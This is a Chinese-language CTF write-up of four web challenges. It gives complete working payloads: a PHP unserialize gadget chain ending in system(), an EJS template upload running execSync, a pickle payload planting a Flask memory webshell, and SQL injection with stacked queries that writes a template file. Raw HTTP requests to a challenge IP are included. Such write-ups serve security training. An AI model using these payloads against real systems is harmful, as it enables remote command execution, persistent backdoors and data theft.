ez_unserialize
index.php:
<?php
error_reporting(0);
highlight_file(__FILE__);
class A {
public $first;
public $step;
public $next;
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep; // u
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
unserialize($_POST['payload']);
入口点位于 H.__destruct ,出口点位于 U.__invoke ,可以从后往前构造链子
当尝试以调用函数的方式调用一个对象时触发 __invoke 方法,所以 F.check -> U.__invoke,利用php初始化类不区分大小写的特性绕过 preg_match("/U/",$this->finalstep) ,将finalstep置为小写u
绕过这一个点后,后续很自然的能找到 E.__get -> F.check, 访问不可访问或未定义的属性值时会触发 __get 方法,所以 V.__toString -> E.__get ,而当反序列化后的对象被输出时会触发 __toSring 方法,因此 A.start -> V.__toString,最后 H.__destruct -> A.start 即可完成整条链的构造:
H.__destruct -> A.start -> V.__toString -> E.__get -> F.check -> U.__invoke
完整exp:
<?php
class A {
public $first;
public $step;
public $next;
public function start() {
echo $this->next;
}
}
class E {
private $you;
public $found;
private $secret = "admin123";
public function __get($name){
if($name === "secret") {
echo "<br>".$name." maybe is here!</br>";
$this->found->check();
}
}
}
class F {
public $fifth;
public $step;
public $finalstep; // u
public function check() {
if(preg_match("/U/",$this->finalstep)) {
echo "仔细想想!";
}
else {
$this->step = new $this->finalstep();
($this->step)();
}
}
}
class H {
public $who;
public $are;
public $you;
public function __construct() {
$this->you = "nobody";
}
public function __destruct() {
$this->who->start();
}
}
class N {
public $congratulation;
public $yougotit;
public function __call(string $func_name, array $args) {
return call_user_func($func_name,$args[0]);
}
}
class U {
public $almost;
public $there;
public $cmd;
public function __construct() {
$this->there = new N();
$this->cmd = $_POST['cmd'];
}
public function __invoke() {
return $this->there->system($this->cmd);
}
}
class V {
public $good;
public $keep;
public $dowhat;
public $go;
public function __toString() {
$abc = $this->dowhat;
$this->go->$abc;
return "<br>Win!!!</br>";
}
}
$f = new F();
$f->finalstep = 'u';
$e = new E();
$e->found = $f;
$v = new V();
$v->dowhat = 'secret';
$v->go = $e;
$a = new A();
$a->next = $v;
$h = new H();
$h->who = $a;
echo urlencode(serialize($h));

staticNodeService
App.js:
const express = require('express');
const ejs = require('ejs');
const fs = require('fs');
const path = require('path');
const app = express();
const PORT = parseInt(process.env.PORT) || 3000;
app.set('view engine', 'ejs');
app.use(express.json({
limit: '1mb'
}));
const STATIC_DIR = path.join(__dirname, '/');
// serve index for better viewing
function serveIndex(req, res) {
var templ = req.query.templ || 'index';
var lsPath = path.join(__dirname, req.path);
try {
res.render(templ, {
filenames: fs.readdirSync(lsPath),
path: req.path
});
} catch (e) {
console.log(e);
res.status(500).send('Error rendering page');
}
}
// static serve for simply view/download
app.use(express.static(STATIC_DIR));
// Security middleware
app.use((req, res, next) => {
if (typeof req.path !== 'string' ||
(typeof req.query.templ !== 'string' && typeof req.query.templ !== 'undefined')
) res.status(500).send('Error parsing path');
else if (/js$|\.\./i.test(req.path)) res.status(403).send('Denied filename');
else next();
})
// logic middleware
app.use((req, res, next) => {
if (req.path.endsWith('/')) serveIndex(req, res);
else next();
})
// Upload operation handler
app.put('/*', (req, res) => {
const filePath = path.join(STATIC_DIR, req.path);
if (fs.existsSync(filePath)) {
return res.status(500).send('File already exists');
}
fs.writeFile(filePath, Buffer.from(req.body.content, 'base64'), (err) => {
if (err) {
return res.status(500).send('Error writing file');
}
res.status(201).send('File created/updated');
});
});
// Server start
app.listen(PORT, () => {
console.log(`Static server is running on http://localhost:${PORT}`);
});
默认使用 index.ejs 作为模板进行渲染,STATIC_DIR 设置 /App 为根目录,对参数 templ 无任何限制,考虑上传ejs文件命令执行
上传文件 readflag.ejs/. 可以同时绕过 req.path.endsWith('/') 以及 else if (/js$|\.\./i.test(req.path)) ,文件内容进行base64编码:
<%- global.process.mainModule.require('child_process').execSync('/readflag') %>
PCUtIGdsb2JhbC5wcm9jZXNzLm1haW5Nb2R1bGUucmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCcvcmVhZGZsYWcnKSAlPg==

传参 ?templ=../readflag 来渲染 readflag.ejs执行/readflag获取flag:

ezBlog
提示用访客账号登录,猜测 guest/guest 登录成功,利用Token验证身份,Token是pickle序列化数据,一开始尝试将其中is_admin的值从False改为True,即0x89改为0x88,发现能以管理员账户登录,后续打SSTI发现失败:

考虑到题目环境使用Token来鉴权,可能是将Token直接反序列化了,打 before_request 内存马:
cbuiltins
eval
(S'app.before_request_funcs.setdefault(None,[]).append(lambda:__import__(\'os\').popen(request.args.get(\'cmd\')).read())'
tR.
Ezsingin
/login存在sql注入,获取Admin用户connect.sid:
POST /login HTTP/1.1
Host: 45.40.247.139:30096
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-None-Match: W/"30c-DHNVxa0VphnTYJIjy4EiUOx4CDM"
Priority: u=0, i
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
username=Admin")+--+q&password=1
/download存在文件读取:
GET /download/?filename=../app.js HTTP/1.1
Host: 45.40.247.139:30096
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://45.40.247.139:30096/
Accept-Encoding: gzip, deflate, br
Cookie: connect.sid=s%3ArQORBzH5x3cMktwmh4bOVtqMfb4WblLh.G08Vr5WzTRGs3cu7MA5ssx%2Fkcg1HCxCOJ6ymIreM5nc
Connection: keep-alive
app.js:
const express = require('express');
const session = require('express-session');
const sqlite3 = require('sqlite3').verbose();
const path = require('path');
const fs = require('fs');
const app = express();
const db = new sqlite3.Database('./db.sqlite');
/*
FLAG in /fla4444444aaaaaagg.txt
*/
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.use(session({
secret: 'welcometoycb2025',
resave: false,
saveUninitialized: true,
cookie: { secure: false }
}));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
const checkPermission = (req, res, next) => {
if (req.path === '/login' || req.path === '/register') return next();
if (!req.session.user) return res.redirect('/login');
if (!req.session.user.isAdmin) return res.status(403).send('无权限访问');
next();
};
app.use(checkPermission);
app.get('/', (req, res) => {
fs.readdir(path.join(__dirname, 'documents'), (err, files) => {
if (err) {
console.error('读取目录时发生错误:', err);
return res.status(500).send('目录读取失败');
}
req.session.files = files;
res.render('files', { files, user: req.session.user });
});
});
app.get('/login', (req, res) => {
res.render('login');
});
app.get('/register', (req, res) => {
res.render('register');
});
app.get('/upload', (req, res) => {
if (!req.session.user) return res.redirect('/login');
res.render('upload', { user: req.session.user });
//todoing
});
app.get('/logout', (req, res) => {
req.session.destroy(err => {
if (err) {
console.error('退出时发生错误:', err);
return res.status(500).send('退出失败');
}
res.redirect('/login');
});
});
app.post('/login', async (req, res) => {
const username = req.body.username;
const password = req.body.password;
const sql = `SELECT * FROM users WHERE (username = "${username}") AND password = ("${password}")`;
db.get(sql,async (err, user) => {
if (!user) {
return res.status(401).send('账号密码出错!!');
}
req.session.user = { id: user.id, username: user.username, isAdmin: user.is_admin };
res.redirect('/');
});
});
app.post('/register', (req, res) => {
const { username, password, confirmPassword } = req.body;
if (password !== confirmPassword) {
return res.status(400).send('两次输入的密码不一致');
}
db.exec(`INSERT INTO users (username, password) VALUES ('${username}', '${password}')`, function(err) {
if (err) {
console.error('注册失败:', err);
return res.status(500).send('注册失败,用户名可能已存在');
}
res.redirect('/login');
});
});
app.get('/download', (req, res) => {
if (!req.session.user) return res.redirect('/login');
const filename = req.query.filename;
if (filename.startsWith('/')||filename.startsWith('./')) {
return res.status(400).send('WAF');
}
if (filename.includes('../../')||filename.includes('.././')||filename.includes('f')||filename.includes('//')) {
return res.status(400).send('WAF');
}
if (!filename || path.isAbsolute(filename) ) {
return res.status(400).send('无效文件名');
}
const filePath = path.join(__dirname, 'documents', filename);
if (fs.existsSync(filePath)) {
res.download(filePath);
} else {
res.status(404).send('文件不存在');
}
});
const PORT = 80;
app.listen(PORT, () => {
console.log(`Server running on http://localhost:${PORT}`);
});
/register使用了 db.exec ,存在堆叠注入,同时观察到使用了ejs,并且/upload下不存在upload.ejs,尝试sqlite写入 upload.ejs:
test'); ATTACH DATABASE '/app/views/upload.ejs' AS temp; CREATE TABLE temp.pwn (data, TEXT); INSERT INTO temp.pwn (data) VALUES ('<%= include("/fla4444444aaaaaagg.txt") %>'); -- ('
访问/upload获取flag:
